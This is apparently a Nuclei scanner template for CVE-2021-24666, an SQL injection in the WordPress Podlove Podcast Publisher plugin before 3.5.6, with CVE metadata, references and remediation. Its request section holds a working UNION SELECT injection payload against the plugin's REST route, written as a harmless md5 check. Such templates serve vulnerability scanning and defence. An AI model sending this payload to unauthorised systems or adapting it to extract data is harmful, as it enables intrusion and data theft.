id: CVE-2021-24666

info:
  name: WordPress Podlove Podcast Publisher <3.5.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Podlove Podcast Publisher plugin before 3.5.6 is susceptible to SQL injection. The Social & Donations module, not activated by default, adds the REST route /services/contributor/(?P<id>[\d]+) and takes id and category parameters as arguments. Both parameters can be exploited, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Fixed in version 3.5.6.
  reference:
    - https://wpscan.com/vulnerability/fb4d7988-60ff-4862-96a1-80b1866336fe
    - https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/
    - https://github.com/podlove/podlove-publisher/commit/aa8a343a2e2333b34a422f801adee09b020c6d76
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24666
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24666
    cwe-id: CWE-89
    epss-score: 0.09404
    epss-percentile: 0.94778
    cpe: cpe:2.3:a:podlove:podlove_podcast_publisher:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: podlove
    product: podlove_podcast_publisher
    framework: wordpress
  tags: cve2021,cve,sqli,wordpress,wp-plugin,wp,podlove-podcasting-plugin-for-wordpress,wpscan,podlove,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20-"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '66a82937a7660b73b00d4f7cefee6c85'
          - '"service_id"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d9718c3a25705d419826b7e5df0223b7d4eb4d7f2019f27ec0f548424db9b55d022100a1c27b783a9a4ca834f4b101e9752e70e9be04e43f64a84e50c4f588f3259eef:922c64590222798bb761d5b6d8e72950